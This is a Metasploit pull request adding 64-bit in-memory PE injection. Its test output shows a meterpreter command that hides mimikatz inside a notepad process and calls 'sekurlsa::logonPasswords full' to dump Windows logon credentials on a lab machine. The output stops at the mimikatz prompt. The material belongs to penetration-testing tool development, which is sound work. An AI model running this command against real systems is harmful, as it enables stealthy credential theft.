rapid7/metasploit-framework — pull request #821 by sempervictus (2012-09-22 05:29:08+00:00)
Title: In-memory PE replacement for win64

Adds 64bit in-memory PE injection. Original method would not work under 64 bit since it requires being able to call threadcontext.eax which isnt present any more.

Test output:

meterpreter > sysinfo
Computer : LAB01
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Meterpreter : x64/win64
meterpreter > execute -c -H -i -d notepad.exe -m -f /opt/metasploit4/msf4/data/post/mimikatz_x64/mimikatz.exe -a '"sekurlsa::logonPasswords full" exit'
Process 6424 created.
Channel 2 created.
mimikatz 1.0 x64 (RC)	/* Traitement du Kiwi (Sep 8 2012 19:03:00) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz(commandline) # sekurlsa::logonPasswords full